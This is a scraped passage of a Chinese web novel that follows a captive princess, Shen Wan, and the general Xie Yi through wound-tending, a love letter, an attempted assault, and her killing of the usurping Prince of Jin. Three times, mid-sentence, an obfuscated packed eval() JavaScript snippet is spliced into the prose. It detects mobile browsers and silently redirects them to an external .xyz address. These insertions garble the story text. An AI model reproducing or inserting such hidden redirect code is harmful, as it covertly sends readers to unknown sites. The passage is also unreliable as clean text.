沈绾一怔,湿漉漉的眼睫尚挂着晶莹,白净的小脸仿若玉瓷染了胭脂,清艳惑人。谢翊滚了滚喉结,费力移开目光,将药瓶收拾妥当。 他坐在她身侧,清了清嗓,“说说吧,为什么逃跑?” “我……”沈绾绞着素白袖口,水濛濛的眸子轻眨,“我没有逃跑。当时妾身见战事胶着,一心担忧将军安危,因突然想起胭脂山有条近路可从南部包抄,就想替将军探探路,谁料刚到山上,就被埋伏在那的定北军抓住了。” 沈绾轻抚上谢翊大掌,柔若无骨的手指在他手背来回摩挲,挠的人心痒痒,“将军今日也看到了,定北小王爷投靠了晋王,等于是妾身的仇人,我自是不再理会他,是他缠着我不放,若不是将军及时赶到……” 她越说越委屈,眼泪似断了线的珍珠,一颗颗砸在谢翊手背。 他本是随口一问,没想到她竟编出如此漏洞百出的谎言,拙劣的演技落在眼底,他感到好气又好笑,也不知她什么时候学的这些功夫,真是…… 谢翊一阵无奈,罢了,只要她还肯同他说话,还肯用这些过家家的话术敷衍他,他就知足了。 何况他最见不得她落泪,那简直是让他缴械投降的利器。 “你既是无心便算了。”谢翊跟着装傻,“下不为例。” “嗯。”沈绾点头。她以前见后宫那些妃子装可怜扮柔弱,只为博得君王片刻怜惜,本是嗤之以鼻,可现在看来,竟还有它的道理。 男人,都是一样。 既然不能硬碰硬,那就暂且示弱慢慢转圜。 见此事翻篇,沈绾也不再装模作样,正欲下床洗漱,后背骤然一疼,身子一个不稳,竟爬伏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599240|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢翊膝上。 掌心下的肌肉紧实有力,沈绾不由手心一攥,下意识捏了捏。 “你……”谢翊眸子一暗。 沈绾欲支起身子,可双肩却痛意不减,扑腾两下竟将身子贴得更紧。虽隔着衣料,可左臂还是触及到一处硬挺。 奇怪,难道这男人身下还藏着兵器? 沈绾正疑惑,忽听上方飘下一道男音:“再不起来,你今晚就彻底不用起来了。”谢翊的嗓子像是被点了火,沙哑得不像话。 “嗡”地一声,沈绾大脑回转,立即反应过来,绯红从耳根蔓上双颊,烧得她发烫。她何曾被这般调戏,简直没脸见人了! 咬牙支起,锥心痛意让她禁不住倒吸口凉气,谢翊这才察觉她的不对劲,双掌将她扶起,皱眉道:“身上有伤?” 废话,她先是跌山,后是摔马,身上没伤才怪!沈绾心底忿忿,可面上仍旧楚楚可怜,“一点小伤,我去里间洗洗就好。” “伤口不能沾水。”谢翊无奈扶额,“我帮你看看。” 长指欲掀开衣襟,沈绾忙下意识攥紧,“不、不用,我自己来。” “你确定能自己上药?”谢翊眉头微挑,好整以暇看她。 沈绾语塞,后背这地方,自己上药是不可能了,罢了,既然早都做出选择,她还纠结这些做什么! 咬了咬牙,背对他轻解腰带,衣衫随之滑落肩头,露出大片雪腻玉肤:“劳烦将军了。” 沈绾清楚感到身后人的呼吸变重了许多,只是她看不到,男人眸底的幽深不是因欲念,而是因心疼。 她纤细肩胛处紫红一片,竟蔓延到后腰,这种程度怕是已经伤到筋骨。 他真是该死!明明想保护她,怎么反倒把她弄成这个样子! 谢翊心中不住自责,手上却再次轻柔帮她上药。这回他比方才还要小心,好像她是什么绝无仅有的珍宝,生怕弄疼她一分一毫。 沈绾被他这份温柔弄得有些无措,好不容易等他上完药,他又伸手将衣衫给她细细整理好。 “将军,你……” 话未说完,男人突然从后拥住她,许是因担心伤势,双臂只虚虚拢着,将脸埋在她颈侧。 温热的呼吸打在颈间,烫得她皮肤发麻。两人谁都没有说话,也不知过了多久,沈绾忽觉颈窝传来一阵湿意。 …… 一个难以置信的想法窜入脑海。 他、他不会是哭了吧? “你……”正欲转头看他,下巴蓦然被人从身后勾住,两片薄唇继而覆上,男人脸颊潮热,不管不顾吻上她。 已经不是第一次同他接吻,可男人这次却意外温柔。薄唇轻柔吮吸着红唇,缠绵缱绻,带着他身上独有的清冽气息,将她完全包围。 明明只是浅尝辄止,可一股电流极速窜过身子,像是浸泡在冬日温泉里,让人身心一畅。 沈绾不由一颤,他怎么……越来越会了…… 睫毛簌簌颤动,少女檀口轻启,竟不觉开始回吻。谢翊微微一顿,低眸望向她,神情柔软,专注又深情。 好看的唇角溢出一声轻笑,再次深深吻了下去。 长指抵住后脑,舌尖抚过唇瓣,辗转舔舐被她咬破的伤口,继而果断钻入檀口,卷起小舌尖开始激烈的追逐纠缠。 谢翊的理论经验不多,实战经验更都是从沈绾身上取得,可显然他进步飞速,只要稍一用力,沈绾很快就招架不住。 “唔……”玉腕不断拍打他的肩膀,她快要窒息了。 谢翊见她挣扎激烈,终是大发慈悲将人松开,少女眼尾嫣红,水润红肿的唇角挂着一丝委屈。 她忿忿娇嗔:“怎么又这样!” 本以为他转了性,她也就顺势哄哄他,没想到结果还是被他吻得半死。 谢翊轻勾唇角,笑容邪肆,“多久了,竟连换气也不会?” “……” 见她这般娇俏,谢翊心中欢喜得紧,将人往怀里又拢了拢,下颌抵在她发顶。 “答应我,以后不许再让自己受伤。”男人声音磁性低沉,像在砂纸上磨过一般,复又吻了吻她的额角,在她耳畔说道:“你想要的,我都会帮你。” 11. 第十一章 绕指柔 沈绾怔了怔,一时没明白他的意思。 难道他破她城池,杀她百姓,竟是在帮她?真是可笑! 谢翊没有过多解释,简单为她梳洗后,替她掖上棉被,二人各怀心事,一夜无话。 拓摩大军很快整顿完毕,行军当天,谢翊说什么也不让沈绾跟着,她身上伤势未愈,自是禁不起路上颠簸。只吩咐让她在蓟州城养伤,他之后自会派人来接。 沈绾心里虽不愿,可也没有像之前那样坚持。一来她深知自己无法出逃第二次,二来杨廷忠身死,即便回了胤都,她也实在不知道该求助谁,单凭她一人,能说服满朝文武为晋王定罪吗? 胤都情况她之前听杨廷忠说起一些,晋王登位后在朝中铲除异己,想必父皇之前的心腹大臣也已被替换殆尽,眼下她只能静观其变。 大军一走,蓟州城瞬时恢复安宁,谢翊留下的皆是一批心腹,虽知沈绾女奴身份,可待她却礼敬有加。 沈绾每日除了按时喝药休息,就只有数着窗前的山茶花打发时间。 这日午间,她迷迷糊糊做了个梦,梦中她被架上一处高台,台下站着胤都百姓,他们目露鄙夷,纷纷指着她诅咒谩骂。 一位方士手持拂尘在她身前缠绕,口口声声斥责她为“大胤灾星”“亡国叛徒”。不知何时袭来一阵大雾,方士朦胧的面容渐渐从雾中浮现,沈绾眯了眯眼,那张脸竟是杨廷忠!他双目充血、长髯尽白,一双豹眼死死瞪着她,同临死前一样。 忽地,台下百姓变成具具血污的死尸,在她身后,拓摩人讥诮的笑声如魔音绕在耳畔。脚下不知何时燃起烈火,滚滚火舌恣意蔓延,焚烧至裙摆衣袖,眼看要将她整个吞噬。 “啊——”她惊叫醒来。 在确定一切不过是场梦后,意识方才回拢,她费力坐起身,抬手拭了拭汗湿的额角,忽听窗外传来几声低语。 “大夫找到了吗?” “唉,当时拓汗下令屠城,哪还有什么大夫,要不是将军及时拦下,怕是连药铺都烧没了。” “这可怎么办?将军走时再三叮嘱,一定要把里面那位照顾好,眼下只有药材没有大夫,只能按照老方子抓药,可这几晚她总是夜夜惊醒,噩梦缠身,如此下去身子怎么能好?将军若是知道了,定要怪罪我们照看不周。” “说来也怪,她一个女奴,咱们将军为何待她这么好,跟伺候祖宗似的——” “嘘……”一人忙捂住另一人的嘴,“快别说了,你难道不知道将军先前为了找她,疯了般四处派人去寻。因听到她人在蓟州城,硬生生将十日才能攻下的城池缩短到仅仅五日,只为赶来见她。我跟在将军身边这么多年,还头一次见到那样不要命的打法,不然那东五城,岂能这么快攻破?那女人,可是将军心尖上的人……” 后面的话时断时续,沈绾已听不太清,她心里一时说不清是什么滋味。谢翊待她的确比想像中要好,有时甚至算得上宠溺,可他们之间早已隔着仇山血海,是无论如何也无法过去。 谢翊的心思深不见底,他要的不过是征服的快感、上位者的欲望,当初她高高在上将他踩在脚下,如今境遇转变,他自可堂而皇之向她报复。 她必须使自己时刻保持清醒,万万不能陷入他的圈套! 有些事情既然不能一蹴而就,前方也无路可走,那就不妨换个思路,另辟蹊径。 既是借刀杀人,那关键就要让这把刀用着顺手。 静下神思,她走到案桌边提笔蘸墨,用簪花小楷在信笺上写下几行字。 “来人!” 门外守卫应声而入:“姑娘有何吩咐?” 沈绾将信笺折好,递给来人:“劳烦你帮我把这封信寄给将军,这些日子见不到他,我心里担忧得很。也不知前方战况如何,你且去帮我探探,回头我禀明将军,自有你的好处。” 来人不敢耽误,忙接过信笺应下。 ** 雁鸣关外,狼烟四起。 谷烽堡一役并没有想像中顺利,晋王似乎调集所有兵力前来防御,拓摩久攻不下,连东厥王也感到战事棘手,神色忡忡。 当晚营帐内,几名首领坐在一起商议军务,东厥王率先开口:“雁鸣关就在眼前,可谷烽堡是个铁疙瘩,已经七八日了,咱们连门缝也没撞开一点。” 耶齐格神色凝重盯着面前舆图,“军师,眼下久攻不下,可另有破局之法?” “拓汗莫急。”代鄯用手势在舆图上缓缓画了个圈,不紧不慢道:“谷烽堡易守难攻,是雁鸣关外最后一道关卡,大胤人自会竭力防御。这地方周边皆是荒山,虽是天然屏障,却也是致命弱点,我们攻了这几日,想必城中已是粮草紧缺,对方想要补给,只能从关内运输,这样便会有两条路。” 乌图紧盯舆图,眸光一亮:“一条山路,一条陆路。” “不错。”代鄯颇为意外,想不到这个东厥王子还有些见识,继续道:“正因如此,我们仍可兵分三路,一路在他们必经山路上埋伏,若是不敌便可放火烧山,断了他们的山路;一路从东南绕远入境,截断他们的陆路,待他们彻底没了粮草,我军大举围攻,方可破城。” “只是……”代鄯顿了顿。 耶齐格正觉此法可行,见代鄯犹豫,忙问道:“只是什么?” 代鄯不动声色望了眼谢翊:“只是从后方绕远入境实在凶险,又不可耽误时间,谷烽堡内皆是精兵良将,一个不慎便会被擒,须得万无一失!” 耶齐格明白其中厉害,这种险要且关键的任务必须派一个有勇有谋的人,这不二人选唯有—— “我去!”乌图自告奋勇,打断众人神思。 耶齐格敛起锐利鹰眸,欣慰道:“王子年纪轻轻,勇气可嘉,只是此番凶险,烈将军身经百战,还是让他带兵前往吧。” 谢翊低垂着眼,周身仍是那股生人勿近的气息,似乎没有在意旁人的话。 耶齐格见他不语,又低声追问了句:“阿烈,你意下如何?” 谢翊这才抬起冷冽的眸子,淡淡道:“拓汗,正如方才军师所言,行军打仗粮草至关重要,我拓摩一族马背上得天下,作战更是讲究速战速决,可这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599241|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几场仗打下来,我军也早已被拖得疲惫不堪,大胤人需要粮草,我们也同样需要。自发兵以来,我们远离王庭草原,所需一切皆是从所占城池供给,可若是攻一城屠一城,每个城的百姓都会在大军来临之际带着粮草逃走,若是他们坚壁清野,到时我们只怕会无功而返。” 耶齐格的脸色倏地阴沉下来,谢翊说了这么多,无非是在控诉他纵兵屠城,即便自己行为有所不妥,谢翊也不该这样肆无忌惮当众指责,他眼里到底还有没有他这个拓汗! “将军,此言严重了。”代鄯忙笑着抬手按住谢翊,打了个哈哈,“拓汗,将军一直是直言不讳,并无不敬之心。” 东厥王见场面尴尬,也忙圆场:“贤婿啊,烈将军所言也有他的道理,咱们虽受大胤欺压多年,可不管不顾大肆屠城,也着实不利于咱们的大计,烈将军他……也是为了胜利考量。” 代鄯和东厥王左一句右一句,耶齐格才渐渐缓和了脸色,谢翊如今是他手中唯一的王牌,大业未成,他尚且离不开他。 “阿烈说得是,是本汗错了,以后定不再无故屠城。” 谢翊见状,方道:“适才言语冒犯,请拓汗见谅。”他虽是请罪,可言语间仍是那副淡漠的语气,众人早已见怪不怪。 “拓汗放心,截断陆路粮草之事,我定会办妥。”谢翊沉声表了决心。耶齐格深知谢翊的能耐,也不再追究。 “此番我要同烈将军一起去。”一直旁观的乌图眸光熠熠,转头望向谢翊。 东厥王皱眉喝斥:“你跟着添什么乱?不许去。” 乌图不依不饶,态度坚定:“大破漠云东五城我同烈将军配合得很好,也着实学到很多东西,这回不过是突袭截粮草这样的小事,父王放心,我一定协助烈将军把事情办好。” “你……”东厥王无奈。 耶齐格见乌图坚持要去,便私心想挫挫谢翊的锐气,“既然乌图王子执意如此,那阿烈你便带着吧。” 谢翊眉头微蹙,他方才已经下了耶齐格的脸,这回若再拒绝,怕是不好收场。正犹豫中,身边忽有将士上前耳语,从怀中掏出信封递上。 谢翊不动声色拆开信封,只见里面是张粉色花笺,上面字迹清秀,他一眼便认出是沈绾的笔迹。当初她常常抱怨上书房的夫子要求严苛,可真练起字来,她比谁都刻苦。 自别后,忆相逢,几回魂梦与君同。 信上几句小词,不过短短十三个字,却道尽了女儿家的心思。 她这是……想他了? 紧皱的眉头骤然舒展,眸色瞬间如冰雪销融。众人见他神色缓和,甚为奇怪。 “烈将军,怎么了?”东厥王道。 “无事。”谢翊暗暗将花笺掩入袖中。 “小儿冒昧,方才所提之事——”东厥王话未说完,便被谢翊截断:“那便这么办吧。” 众人颇为意外,谁都没想到谢翊会这么快答应。 代鄯神色悠悠,意味深长觑了眼谢翊,他若是没猜错,那封莫名其妙的信定是跟沈绾有关,看来某人这是想媳妇了! 12. 第十二章 登金陵 蓟州虽不比拓摩领地,可也是大胤相对靠北的城池,初冬的北风不经意一刮,便彻底与深秋的寒凉告别,迎面便与刺骨冰针打了个照面。 这是落雨了。 这日清早,大街上行人伶仃,士兵们呵气成雾,铁胄冷如寒铁,却并未阻碍他们行进的脚步。 城门隆隆打开,刮了一夜的北风这才将将停歇,巴泰王耶齐雷便领着一支队伍摇摇进城,士兵们个个面容疲惫,身后的战旗更是被冰雨浇得一动不动。 留守将士分列两侧迎接,耶齐雷见是谢翊的手下,心头没来由沉了沉。 他遵照先前计划,率一路骑兵牵制西三城,本不是多艰难的任务,他却因此放松了警惕,多次被胤军压制,险些让他们派来援军。 最后好在他及时转换阵形,重新排兵布阵,方才勉强压得住胤军。若是此战输了,他不仅没脸回来见大哥耶齐格,更会从此在谢翊面前抬不起头。 刚到蓟州城,他便听闻大军已开拔前往谷烽堡,他在战事上本就被谢翊压了一头,这最后决胜的关键局,他自然不能缺席。 “唳——”一声尖锐啸声穿破凌空,耶齐雷循声望去,一只海东青在低空盘旋。 他认得,这是谢翊养的东西。 海东青翱翔的下方,一辆青篷双辕的马车稳稳驶入驿站。 马车上下来一位白须老者,耶齐雷认得,这是当初随行的老军医,医术甚是精湛。因当时王庭传来襄吉王妃突患头疾的消息,耶齐格便命人将他送回去。 眼下,他怎么会到这里? 耶齐雷心怀疑窦,传人前来一问,留守将士不敢隐瞒,只说是耶齐烈将军身边有一心腹受了伤,将军放心不下,特传信将老军医从王庭请来。 耶齐雷听罢来了兴趣,谢翊大老远把老军医请来替一个心腹看病?怎么想都觉得奇怪。 从后院潜入驿站,只见老军医刚好诊治完从房间走出,身后先是跟着位将士,而后面则是…… ——原来是她,那位胤朝帝姬。 老军医回身嘱咐几句,便由一旁将士送出了院门。沈绾站了片刻,裹紧身上斗篷欲转身回屋。 一只脚刚踏进门槛,忽听身后传来一声怪笑:“我当是什么人,原来是小美人你。” 沈绾回眸,耶齐雷倚在墙角,双手抱前不怀好意地瞧着她。 沈绾冷瞥他一眼,“巴泰王凯旋,怎么也没人通知一声?” “现在得知也不晚,”耶齐雷上前几步,毒蛇吐信般打量她,“今晚小美人来为我接风如何?” “要接风也要看对方是什么人,区区三座城池就把巴泰王拖了这么久,你们拓摩难道无可用之兵了吗?也不知你们拓汗到底怎么想的。” “你——”少女字字讥讽,耶齐雷气得牛眼直瞪,怒骂道:“你不过是个低贱的女奴,也就耶齐烈那傻子把你当个宝,敢在本王面前造次,我看你是不想活了!” 说着,抬手缚住玉腕,狠狠一掐,沈绾哪里抵得过这般蛮力,不由痛呼出声。 “小美人,我惦记你也不是一日两日了,今日趁着本王兴致好,就拿你尝尝鲜。”油腻粗糙的面容靠近,浑浊气息扑面而来,沈绾压着心中恶心,猛地抬手一挥,白色粉尘四起,她忙用手捂住口鼻。 耶齐雷不曾防备,正欲怒骂,一呼一吸间粉尘入体,半边身子倏然开始麻木起来。 这是临行前沈葭给她的麻石散,一旦进入肺腑,便可让人的身体麻上一刻钟,她本就是用来防身的,没想到会用在耶齐雷身上。 她瞅准机会,直往外逃,“救命,救命——”谢翊留下的士兵就在门口,他们一定听得见。 果然,留守士兵听到呼救连忙赶来,见沈绾被擒,也不管对方是谁直接将人拿下。 耶齐雷被按在原地,怒火中烧,“你们都反了吗?睁大你们的狗眼看看,我是谁!” 士兵们认出耶齐雷,面露难色,“巴泰王恕罪,我们奉将军之命保护沈绾姑娘,得罪了!”说着,竟连拖带扛,把人“请”出了驿站。 沈绾一副花容失色的模样,眼泪汪汪拽着眼前士兵的手说:“这位壮士,要是待会那个王爷还来怎么办?我一介女流,无力自保,将军又不在,我真不知该如何是好……” 沈绾越说越难过,簌簌流下泪来。那士兵哪见过这般美人落泪,一时被激发的保护欲也不知是奉命还是私心,“姑娘放心,有我们兄弟在,定不会再叫他们欺负你!” 沈绾凄凄点头,当晚却是一宿无眠。她将袖中匕首攥得死紧,眼中却是一片沉静。 谢翊的这些心腹果真名不虚传,个个都是好手,巴泰王晚间着人来找过几次茬,愣是被挡了回去。他心中越想越气,正欲领兵好好教训这些看门狗,一道汗令突然传来 ——大军已破胤都,蓟州守军速来! ** 重回胤都这天,天边朝霞似锦。沈绾乘的车马虽未同耶齐雷一道,但也是一前一后入了城门。 往日热闹繁华的街道因战事而阒静无声,不过好在,这回拓摩没有屠城,因此街边只是空荡,并无过多血泊尸体。 马车一路驶入宫城,沈绾撩开车帘,宫道两旁的景色不停在眼前倒退,夹道旁的宫娥内监已被一列列披坚执锐的士兵代替。前方是太和殿,殿前丹墀两侧,立满了异族将士和旌旗,看起来是那么格格不入。 沈绾此刻方深切领悟,所谓物是人非,不过如是。 马车并未在太和殿前停留,而是驶入一座偏殿,殿前的血迹未干,隐隐传来令人作呕的血腥气。 “阿鸾。”低沉的嗓音自帘外传来,一只骨节分明的大手撩开车帘伸进来,沈绾下意识用手帕掩了口鼻,由谢翊扶着下了马车。 男人握住纤纤玉手,神色温柔得如春日湖水,“身子好些了吗?” 沈绾点头,那老军医开的方子很是有效,养了半个多月,身上瘀青总算消退,受伤的筋骨也痊愈了七八分。 “那便好,一路舟车劳顿,可要先去休息片刻?”谢翊关切道。 沈绾只摇头不语,自从进入宫城,她的心就仿佛被一双大手紧紧握住,勒得她喘不过气来。尽管她竭力说服自己,可沉重的负罪感还是如海浪拍岸,不管不顾席卷而来。 谢翊看出她的心思,揽住紧绷的身子在耳边低语:“放下你的愧疚和自责,事情发展到这个地步,不是你的错,所以不要有负罪感。” 沈绾侧目望去,这个男人,还真是她肚里的蛔虫。 “正视你内心的想法,它本就理所当然。”男人的声音如恶魔低语,挑拨她寸寸神经,“我说过,你想做的,我都会帮你。” “所以里面这个人,你是时候该去见见。”谢翊牵着她的手,缓缓推开殿门。 厚重的木门吱呀一声,冬日阳光随着门缝散射进来,照亮一室昏暗。 沈绾发现,这座偏殿坐南朝北,不见阳光,原本早已荒废,此刻四周的窗户皆用黑布蒙上,里面既没有点灯也没有炭盆,乍一进去,仿若身坠暗牢冰窖,冷得刺骨。 “掌灯。”男人话音刚落,便有侍从燃起烛火。 沈绾这才看清,殿内地板上竟躺着一人,那人鬓发凌乱,一身华服浸满血浆,凭着和父皇几分相似的轮廓,沈绾可以确定,此人正是她的叔父——那位谋划一切的晋王殿下。 “有些恩怨,该了结的了结,莫留遗憾。”谢翊在她身后呢喃,将一把利剑塞入手中。 沈绾握紧剑柄,凭本能一步步上前。 躺在地上的人似是察觉有人走近,警惕的目光透过乱发袭来,沈绾步子一滞。 “是你!”嘶哑声如砂石擦过干裂地面,刺耳难听。 沈绾扯了扯唇,她想笑,却怎么也笑不出来,“叔父,多年不见,别来无恙?” 女音凄冷,如同冬日里的冰凌,带着无尽寒意。 “你居然能回来……”晋王面容逐渐扭曲,忽地瞥见她身后的男人,目露嘲讽:“堂堂帝姬不惜委身蛮夷,你还真是大哥的好女儿!” “住口!”沈绾怒道:“你勾结拓奴、通敌叛国在先,谋杀兄长在后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599242|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有何颜面提我父皇?” “哈哈哈哈……”晋王手背青筋暴起,发出癫狂冷笑,“我有什么不能提!同样是先帝的儿子,论谋略论才干我哪一样都不输你父皇,可老天偏偏让他继承大统。你以为他是什么明君圣主?睁开眼睛看看吧,小帝姬,你那金雕玉琢的宫殿、万人景仰的荣宠,不过是垒筑在万千大胤子民的苦海之上。你的父皇昏庸残暴,人人唾骂,我不过借助一点外力取代一位昏君,有什么错!” “昏君?难道叔父你竟有脸自封明君?” 晋王以为她指自己当下狼狈境况,不甘道:“我戎马半生,能做的我都做了,可大胤沉疴已久,即便剜除毒瘤,也再难起死回生,如今城破,非我一人之过!” “那将自己的亲身女儿推入虎口,也非你之过?”沈绾一双杏眼不知何时结上一层冰霜,“三姐姐这些年受的苦,你可曾关心过?” “葭儿……”晋王面色一僵,混浊的眼珠露出茫然。 “当年你抛妻弃女,为了权势,不惜将女儿丢落山崖,致使她伤了眼睛,若不是父皇恰好路过,三姐姐早已不在人世。现在你又为了帝位做局,我和父皇即便是你的眼中钉,可三姐姐又有什么错?这些年来你对她不闻不问,最后竟不惜把她往火坑里推,天底下怎会有你这样的父亲!” 晋王像被踩了尾巴的兽,暴怒道:“你懂什么!人不为己天诛地灭,她本就是异族人生的孩子,生来低贱,我牺牲她一个换取大胤盛世,有什么错!” “盛世?”沈绾像是听到什么天大的笑话,冷嗤:“叔父怕是忘了,整个天下马上都要改姓了!” 沈绾的话如三九冰锥,直刺晋王命脉。 “单凭你方才这番话,就比不上我父皇。”沈绾长舒了口气,冷声道:“于天下百姓而言,父皇他虽不是一个好的君王,可于我而言,他却是天底下最好的父亲。而你呢?满口仁义,口口声声为了大胤、为了百姓,你到底做了些什么?引异族入境挑起战端,难道就是你贤德的方式?甚至连自己的女儿都可以舍弃! 也许你说的对,我们的富贵供养,来自千千万万的百姓,可您呢?你掌一方土地,难道就没有享受权力地位给你带来的荣耀?你又有什么资格来指责我们?” “你……”晋王被怼得哑口无言,他不曾想到,一向养在深宫不谙世事的小帝姬会有这番口才。 “叔父,你知道一个人的头颅挂在风里是什么感觉吗?”沈绾红唇微弯,笑容痴狂,她仿佛又看见父皇满面血污的脸在眼前浮现,利剑闪过寒光,伴着声声心跳缓缓抬起。 “不、不……我是大胤皇帝,你不能杀我……”晋王目露惊恐,连滚带爬直往后躲。 沈绾手腕隐隐颤抖,她还是第一次杀人。 手臂禁不住久握长剑,眼看快要卸力,男人自身后贴上,一只手掌揽住纤腰,另一只则覆上发颤的手臂,将她整个搂在身前。 “别怕。”清冽干净的气息悉数喷进耳蜗,他轻哄道:“所谓报仇,唯有亲自动手,才最痛快。” 话音刚落,大手持住玉腕猛地一转,搂在腰前的手也随即覆上少女眼睛。 剑起声止,大掌缓缓从眼前移开,只见一道血痕深深刻在晋王咽喉处,因下手极狠极快,他连一声都未来得及吭,便绝了气息。 谢翊下手独特,虽一招致命,可喷出的血却不多,唯有两滴溅在沈绾眉心。 “怕了?”见沈绾沉默,谢翊转身替她挡住视线,从怀中取出帕子擦去眉心血渍。 秾长羽睫轻眨,沈绾喃喃道:“原来这就是杀人的感觉。” “唔。”谢翊应了声,“畅快吗?” 沈绾没有回答,眼神失焦望向虚空。 “我想杀的,可不止一个晋王。”她似是走火入魔般,一字一句落在黑暗中,森寒至极。 “我知道。” “你知道?”沈绾瞳仁一顿,不可置信望向他。 谢翊笑得云淡风轻,牵过她的手握在掌心,目光温柔又坚定,“我说过的,你想要的,我会帮你。” 13. 第十三章 江山旧 若翻开舆图,将整个大胤一分为二,胤都便是北方的政治经济中心。拓摩占领胤都,等于占据了中原的半壁江山。 只是耶齐烈做梦也没想到,当日晋王率禁军殊死顽抗,竟是为自己儿子南逃争取时间,而那块象征政权合法性的传国玉玺也被残军带出了胤都。 耶齐格因为这件事耿耿于怀,本欲趁胜向南追击,可代鄯却极力劝阻,说是根基未稳,须得先巩固北方政权,之后再寻机南下。耶齐格迫于无奈只好作罢,自此拟国号为“靖”,并下令大举将族人迁入都城。东厥王作为盟友,故而东厥人也随之入驻。 自拓摩王庭驶来的车马浩浩荡荡,大量拓摩贵族来到中原土地,借机圈地、筑房,并大肆打压胤人,一时间,整个胤都形成了拓摩、东厥、胤人贵贱分明的三层等级制度。 江山仍如旧,当筵换主人。 曾经将蛮夷视为蝼蚁的大胤贵族,如今也沦为异族践踏取乐的玩物。 这晚,沈绾倚着暖阁阑干,望着下方水池映着的一树红梅幽幽出神,手中鱼食微微一倾,橘红锦鲤便如层层绽放的春花,在水面激起阵阵涟漪,顷刻模糊了梅树倒影。 沈绾没了兴致,挑下帘帐挡住寒气,紧了紧怀中手炉。 今日耶齐格于宫中设宴,她本不愿来,可谢翊不放心将她一人留在将军府,便将她带来。她听不惯那些胡笳小调,更不愿待在令她尴尬的筵席中,便找了借口到外面寻清静。 丝竹管弦沿着水面传来,沈绾拔下银簪百无聊赖挑着灯花,烛焰轻轻一晃,她悠悠抬眸,“是你?” 眼前少年顾盼神飞,沈绾认得他,是那位小有威名的东厥王子。 他随谢翊打了几场十分漂亮的仗,全军上下无不夸赞,沈绾跟在谢翊身边,自然也有所耳闻。 “见过乌图王子。”她起身行礼,举止从容得体,“今日拓汗宴请功臣,乌图王子怎么跑这来了?” “闹了半日,我过来讨盏茶吃,沈姑娘不介意吧?” 少年悠然一笑,眼神极亮,眯起眼仔细打量了沈绾一番。 “大胤公主果真名不虚传,”他没来由赞道,“怪不得烈将军甘愿为你豁出性命。” 沈绾不知对方来意,听他这话只觉奇怪,低眉道:“沈绾如今身份卑微,早已不是什么公主了。” 乌图不甚在意,几步坐到桌边,自顾揭开暖罩,给自己斟了杯热茶。 茶香袅袅,白气蒸腾,顷刻模糊了少年面容。 “姑娘当初一场出逃,真是好谋略、好胆识,也当真是惊心动魄。”乌图啜了口茶,“我曾经只听闻拓摩的战神将军是何等少年英姿,因未曾谋面,心中多少有些怀疑,可这一路走来,我不得不为烈将军的军事才华和人格魅力钦服。当初姑娘离开,他瞬间就像变了个人,我还是头一回觉得,一个人身体原来可以像铁打一般,不分昼夜冲锋在前,在刀剑雨淋里杀个七进七出。” 他顿了顿,抬头看了眼沈绾,“你可知,被手腕粗的长矛刺进身体里,是什么感觉?能让一个男人这般疯狂无惧的,不是金银宝马,不是地位权势,竟是一个女人。” 他目光灼如烈焰,烧得沈绾有些不自在。 “王子殿下说这话,是什么意思?” 乌图优游一笑:“我父王姬妾不少,可儿子却没有,我是家中最小的孩子,乳名乌兰朵,从小他就把我当男孩子养,出征打仗总把我带在身边,久而久之,大家就都以为东厥王有个会武功的小儿子。” 沈绾长睫一动,闪过一抹讶异,原来她是…… “我的长姐是拓汗的襄吉王妃,我父王自然也想为我寻个好夫婿,以便之后继承东厥王位。而放眼整个北疆,再也找不出第二个比烈将军更合适的人。” 沈绾心头掠过一丝异样,但很快便被她压下,“公主同我说这些,到底是何意?” 乌兰朵眼眸眨动,开门见山:“你喜欢烈将军吗?” 沈绾神色一顿,脑中闪过一刻空白。 她喜欢他吗? 这个问题她从未想过。或者说,她从未奢想过会与他有什么以后。他们之间不过是赤裸的交易利用,又何谈喜欢? 现实已经将她鞭笞得体无完肤,她也再无精力去思考什么可笑的情爱。 乌兰朵到底是心思细腻的女子,似乎一眼看出她的心思:“难道说,你不喜欢他?” 沈绾低眸摩挲手中暖炉,唇边笑容凄凉:“公主既然知道我与他的关系,就定然了解,一个囚犯如何会爱上一个对她行刑的刽子手?” 话音落地,阁中一时寂静无声。 乌兰朵认真瞧了她半晌,心中有了几分把握后站起身:“你今日的话我记住了。我们东厥女子向来敢爱敢恨,我生平最讨厌夺人所爱,既然你对他无情,那我姑且算作他单相思。 说实话,我很欣赏你,如果有机会,希望我们将来可以是朋友。今日你这样说,我便放开手段去追他,到时我若将人拿下,你可不能怪我。” “公主这般自信?” “当然。”乌兰朵扬了扬眉毛。 